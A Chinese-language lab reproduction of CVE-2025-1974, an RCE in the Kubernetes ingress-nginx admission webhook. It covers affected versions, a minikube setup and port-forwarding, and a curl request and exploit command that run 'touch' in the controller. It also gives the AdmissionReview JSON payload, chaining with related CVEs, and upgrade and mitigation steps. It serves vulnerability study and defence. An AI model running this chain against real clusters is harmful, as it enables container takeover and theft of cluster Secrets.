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194 lines
6.4 KiB
Markdown
194 lines
6.4 KiB
Markdown
# Kubernetes Ingress-nginx admission 远程代码执行漏洞 CVE-2025-1974
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## 漏洞描述
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Ingress-nginx 是 Kubernetes 集群内服务对外暴露的访问接入点，用于承载集群内服务访问流量。其小于 1.12.1 的旧版本中，Kubernetes Ingress-nginx admission 控制器存在一个配置注入漏洞，已获取集群网络访问权限的远程攻击者，可以通过 `ValidatingAdmissionWebhook` 提交一个配置文件进行验证，并在配置文件中插入恶意配置，实现远程代码执行，导致 Ingress-nginx 所在容器被攻击者控制，并可能导致集群内的 Secrets 泄漏。
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参考链接：
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- https://github.com/kubernetes/kubernetes/issues/131009
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- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-1974
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- https://github.com/sandumjacob/IngressNightmare-POCs
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- CVE-2025-24513: [kubernetes/kubernetes#131005](https://github.com/kubernetes/kubernetes/issues/131005)
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- CVE-2025-24514: [kubernetes/kubernetes#131006](https://github.com/kubernetes/kubernetes/issues/131006)
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- CVE-2025-1097: [kubernetes/kubernetes#131007](https://github.com/kubernetes/kubernetes/issues/131007)
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- CVE-2025-1098: [kubernetes/kubernetes#131008](https://github.com/kubernetes/kubernetes/issues/131008)
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- CVE-2025-1974: [kubernetes/kubernetes#131009](https://github.com/kubernetes/kubernetes/issues/131009)
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- https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
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## 漏洞影响
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```
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Ingress-nginx < v1.11.0
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Ingress-nginx v1.11.0 - 1.11.4
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Ingress-nginx v1.12.0
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```
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## 环境搭建
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安装 minikube 和 kubectl：
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- [minikube](https://minikube.sigs.k8s.io/docs/start/)
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- [kubectl](https://kubernetes.io/docs/reference/kubectl/)
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启动 minikube，本环境的 minikube、kubectl、Kubernetes Server 版本如下：
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```
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minikube version
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-----
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minikube version: v1.33.1
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commit: 5883c09216182566a63dff4c326a6fc9ed2982ff
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```
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```
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kubectl version
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-----
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Client Version: v1.30.1
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Kustomize Version: v5.0.4-0.20230601165947-6ce0bf390ce3
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Server Version: v1.30.0
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```
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下载 Kubernetes Ingress-nginx 1.11.3 的 [deploy.yaml](https://github.com/kubernetes/ingress-nginx/blob/f6456ea86c6c330e7cf401ade70ce1faa757265b/deploy/static/provider/cloud/deploy.yaml)，通过 kubectl 部署资源：
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```
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kubectl apply -f deploy.yaml
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```
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部署完成后，可执行以下命令查看 ingress-nginx 命名空间中的 pod：
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```
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kubectl get pods -n ingress-nginx
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-----
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NAME READY STATUS RESTARTS AGE
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ingress-nginx-admission-create-jmw9x 0/1 Completed 0 24m
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ingress-nginx-admission-patch-jbxj6 0/1 Completed 1 24m
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ingress-nginx-controller-869748796c-p4jvj 1/1 Running 0 24m
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```
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## 漏洞复现
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查看 webhook 服务器信息，显示服务器正在监听 8443 端口：
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```
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kubectl describe pod ingress-nginx-controller-869748796c-p4jvj -n ingress-nginx
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-----
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--validating-webhook=:8443
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```
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使用端口转发访问 webhook 端口：
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```
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kubectl port-forward -n ingress-nginx ingress-nginx-controller-869748796c-p4jvj 1337:8443
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```
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此时，我们已将易受攻击的 webhook 服务器从 pod 转发到本地机器的本地端口 1337。执行 [poc](https://github.com/sandumjacob/IngressNightmare-POCs)，发送包含 nginx 配置的 AdmissionRequest：
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```
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curl --insecure -v -H "Content-Type: application/json" --data @poc.json https://localhost:1337/fake/path
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```
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查看日志，以确保执行成功：
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```
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kubectl logs ingress-nginx-controller-869748796c-p4jvj -n ingress-nginx
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```
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CVE-2025-1974 可以与其他漏洞组合利用：
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- CVE-2025-1974 + CVE-2025-24514 → auth-url injection → RCE
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- CVE-2025-1974 + CVE-2025-1097 → auth-tls-match-cn injection → RCE
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- CVE-2025-1974 + CVE-2025-1098→ mirror UID injection → RCE
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本地测试，将端口转发到 `localhost`：
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```
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kubectl port-forward svc/ingress-nginx-controller -n ingress-nginx 8080:80
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kubectl port-forward -n ingress-nginx svc/ingress-nginx-controller-admission 8443:443
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```
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执行命令 `touch /tmp/awesome_poc`：
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```
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./exp -m c -c 'touch /tmp/awesome_poc' -i https://localhost:8443/networking/v1/ingresses -u http://localhost:8080/fake/addr
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```
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## 漏洞 POC
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poc.json
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```json
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{
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"apiVersion": "admission.k8s.io/v1",
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"kind": "AdmissionReview",
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"request": {
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"kind": {
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"group": "networking.k8s.io",
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"version": "v1",
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"kind": "Ingress"
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},
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"resource": {
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"group": "",
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"version": "v1",
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"resource": "namespaces"
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},
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"operation": "CREATE",
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"object": {
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"metadata": {
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"name": "deads",
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"annotations": {
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"nginx.ingress.kubernetes.io/mirror-host": "test"
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}
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},
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"spec": {
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"rules": [
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{
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"host": "jacobsandum.com",
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"http": {
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"paths": [
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{
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"path": "/",
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"pathType": "Prefix",
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"backend": {
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"service": {
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"name": "kubernetes",
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"port": {
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"number": 80
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}
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}
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}
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}
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]
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}
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}
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],
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"ingressClassName": "nginx"
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}
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}
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}
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}
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```
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## 漏洞修复
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- 更新至 1.11.5 或 1.12.1 及其以上版本。
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- 确保 admission webhook 端点没有暴露在外。
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缓解措施：
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- 使用 `controller.admissionWebhooks.enabled=false` 参数重新安装 ingress-nginx；
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- 删除名为 `ingress-nginx-admission` 的 `ValidatingWebhookConfiguration` ，并从 `ingress-nginx-controller` 容器的 Deployment 或 DaemonSet 中删除 `--validating-webhook` 参数。
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